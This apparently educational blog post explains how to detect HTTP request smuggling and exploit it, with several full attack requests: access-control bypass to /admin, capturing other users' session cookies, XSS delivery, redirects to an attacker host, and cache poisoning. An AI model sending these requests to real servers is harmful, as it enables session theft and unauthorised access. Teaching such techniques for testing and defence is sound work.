Welcome to the part 2 of exciting HTTP Request Smuggling vulnerability ! In case, you have missed part 1 then here’s link to the Basics Of HTTP Request Smuggling. So now, let’s get started with most thrilling ride of identifying and exploiting the HTTP Request Smuggling!
How to find HTTP request smuggling vulnerabilities?
We can identify http request smuggling vulnerabilities using two techniques. Timing techniques and Differential Responses
In general, HTTP request smuggling vulnerabilities are easily detected by sending requests which will cause a time delay in the application’s response if a vulnerability exists. Burp Scanner utilizes this technique to automatically detect smuggling vulnerabilities.
Finding CL.TE vulnerabilities using timing techniques
A request like this will often cause a time delay if an application is vulnerable to the CL.TE variant of request smuggling:
POST / HTTP/1.1 Host: smuggler.com Transfer-Encoding: chunked Content-Length: 4 1 A X
Because the front-end server uses the Content-Length header, it will forward only part of the request, omitting the X. In the back-end server, the Transfer-Encoding header is used, the first chunk is processed, and the next chunk is processed. This causes a noticeable delay.
Finding TE.CL vulnerabilities using timing techniques
If an application is vulnerable to the TE.CL variant of request smuggling, then sending a request like the following will often cause a time delay:
POST / HTTP/1.1 Host: smuggler.com Transfer-Encoding: chunked Content-Length: 6 0 X
Because the front-end server uses the Transfer-Encoding header, it will forward only part of this request, omitting the X. In the back-end server, the Content-Length header is used to anticipate the message body’s additional content and waits for the final content to arrive. This results in a noticeable time delay.
If you detect a probable request smuggling vulnerability, you can get further evidence for the vulnerability by exploiting it to trigger differences in the contents of the application’s responses. You can do this by sending two requests to the application within a short period:
The vulnerability is confirmed if the response to the normal request contains the expected interference.
For example, suppose the normal request looks like this:
POST /search HTTP/1.1 Host: smuggling.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 q=smuggling
The request usually receives an HTTP response with status code 200 containing some search results.
In order to interfere with this request, a specific attack request is required: CL.TE or TE.CL depends on the variant of request smuggling present.
HTTP request smuggling attack scenarios
HTTP request smuggling to bypass front-end security controls
Some applications use the front-end web server to implement security controls, deciding whether to permit individual requests. Forwarded requests are sent to the back-end server, where they are deemed to have passed through the front-end controls.
Consider an application that uses the front-end server to implement access control restrictions, forwarding requests only if the user is authorised to access the URL. Back-end servers accept all requests without further scrutiny. In this scenario, a vulnerability in HTTP request smuggling can be exploited to bypass the access restrictions by sending a request to a restricted URL.
The current user is not permitted to access /admin but /contactus. The following request smuggling attack can be used to bypass this restriction:
POST /contactus HTTP/1.1 Host: smuggling.com Content-Type: application/x-www-form-urlencoded Content-Length: 62 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: smuggling.com Foo: xGET /contactus HTTP/1.1 Host: smuggling.com
The front-end server sees two requests here, both for /contactus, so the requests are forwarded to the backend server. However, the back-end server sees one request for /contactus and one for /admin. It assumes (as always) that the requests have passed through the front-end controls, granting access to the restricted URI.
Capturing Other User’s Requests
HTTP smuggling can be used to intercept the content of other users’ requests if the application allows textual data to be stored and retrieved. They may include session tokens, enabling session hijacking attacks, or other sensitive data submitted by the user.
In order to execute the attack, you must smuggle a request that sends data to the storage function, with the parameter containing the data placed last in the request. As a result, the next request processed by the back-end server will be appended to the smuggled request, storing the other user’s raw request.
If an applicant submits the following request to submit a blog post comment, the comment will be stored and displayed on the blog:
POST /post/comment HTTP/1.1 Host: smuggling.com Content-Type: application/x-www-form-urlencoded Content-Length: 154 Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net
In order to smuggle the data storage request to the back-end server, you may perform the following request smuggling attack:
GET / HTTP/1.1 Host: smuggling.com Transfer-Encoding: chunked Content-Length: 324 0 POST /post/comment HTTP/1.1 Host: smuggling.com Content-Type: application/x-www-form-urlencoded Content-Length: 400 Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=
Processing another user’s request through the back-end server will be appended to the smuggled request, resulting in the victim user’s request being stored, including its session cookie.
POST /post/comment HTTP/1.1 Host: smuggling.com Content-Type: application/x-www-form-urlencoded Content-Length: 400 Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1 Host: vulnerable-website.com Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
You can then retrieve the details of the other user’s request by retrieving the stored data in the normal way.
Client Side Authentication Bypass
Servers authenticate themselves with clients (usually browsers) using certificates during the TLS handshake. Certificates containing “common names” (CN) should match their hosted domain names. The client can use this to verify they are communicating with a legitimate domain server.
Sites that go the extra mile implement mutual TLS authentication, requiring the client to present the server with a certificate as well. For example, CN is often a username or something similar, which is used in the back-end application logic as an access control mechanism.
One or more non-standard HTTP headers are typically passed from the component that authenticates the client to the application or backend server. For example, front-end servers sometimes append a header containing the client’s CN to any incoming requests :
GET /admin HTTP/1.1 Host: smuggling.com X-SSL-CLIENT-CN: carlos
Back-end servers often implicitly trust these headers because they are supposed to be hidden from users. You may be able to bypass access controls if you send the right combination of headers and values.
This behaviour isn’t usually exploitable since front-end servers tend to overwrite these headers if they already exist. Smuggled requests are hidden from the front end entirely, so any headers they contain will be sent to the back end unaltered.
Using HTTP request smuggling to exploit reflected XSS
You can attack other application users by using an HTTP request smuggling attack on an application that contains both reflected XSS and HTTP request smuggling. It differs from normal exploitation of reflected XSS in two respects:
Consider an application with a reflected XSS vulnerability in the User-Agent header. In a request smuggling attack, you can exploit this as follows:
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 63 Transfer-Encoding: chunked 0 GET / HTTP/1.1 User-Agent: <script>alert(1)</script> Foo: X
As a result, the next user’s request will be appended to the smuggled request, and the reflected payload will be sent back.
Using HTTP request smuggling to turn an on-site redirect into an open redirect
Many applications perform on-site redirects from one URL to another and place the hostname from the request’s Host header into the redirect URL. An example of this is the default behavior of Apache and IIS web servers, where a request for a folder without a trailing slash receives a redirect to the same folder including the trailing slash:
GET /home HTTP/1.1 Host: normal-website.com HTTP/1.1 301 Moved Permanently Location: https://normal-website.com/home/
Normally, this behaviour is considered harmless, but it can be exploited to redirect other users to an external domain in a request smuggling attack. For example:
POST / HTTP/1.1 Host: smuggled.com Content-Length: 54 Transfer-Encoding: chunked 0 GET /home HTTP/1.1 Host: attacker-website.com Foo: X
If the smuggled request triggers a redirect to the attacker’s website, the next user’s request will be affected by the redirect. For example:
GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /scripts/include.js HTTP/1.1 Host: smuggled.com HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/
Using HTTP request smuggling to perform web cache poisoning
A poisoned cache could affect the server’s response if any part of the front-end infrastructure caches the content.
The server could return the contents of /index.html when the poisoned request asks for /static/include.js. This will make /static/include.js inaccessible to the client when caching the content of /index.html.
The situation becomes even more interesting if you find an Open Redirect or some on-site redirect to an Open Redirect. Since you could replace the cache values of /static/include.js with the ones set by a script you are able to control.
This example demonstrates how you can exploit a cache poisoning + on-site redirect to open redirect to modify the contents of the cache of /static/include.js and serve JS code controlled by the attacker:
POST / HTTP/1.1 Host: vulnerable.net Content-Type: application/x-www-form-urlencoded Connection: keep-alive Content-Length: 124 Transfer-Encoding: chunked \ `0`\ GET /post/next?postId=3 HTTP/1.1 Host: attacker.net Content-Type: application/x-www-form-urlencoded Content-Length: 10 `` x=1
Note how the embedded request is asking for /post/next?postId=3 This request is going to be redirected to /post?postId=4 and will use the value of the Host header to indicate the domain. In this instance, you would modify the Host header to point to the attacker’s server, and the redirect would use the attacker’s domain (on-site redirect to open redirect).
Once the socket has been poisoned, you need to send a GET request to **/static/include.js**. This will be poisoned by the on-site redirect to open a redirect request and will grab the contents of the attacker-controlled script.
A request for /static/include.js will result in the server serving the cached content of the attacker’s script.
How to prevent HTTP request smuggling vulnerabilities
A sophisticated HTTP smuggling attack exploits the server protocol interpretation and configuration ambiguities.
To reduce their exposure to this vulnerability, IT professionals can consider several options:
HTTP request smuggling reappeared in the cyber world due to incompatibilities between front end and back end servers. So, If we combine all the prevention methods which includes use of http2,using firewall and disabling reuse on back end server then we can achieve good prevention from http request smuggling. Rest we can always keep upgrading and updating our server with newest security methodologies !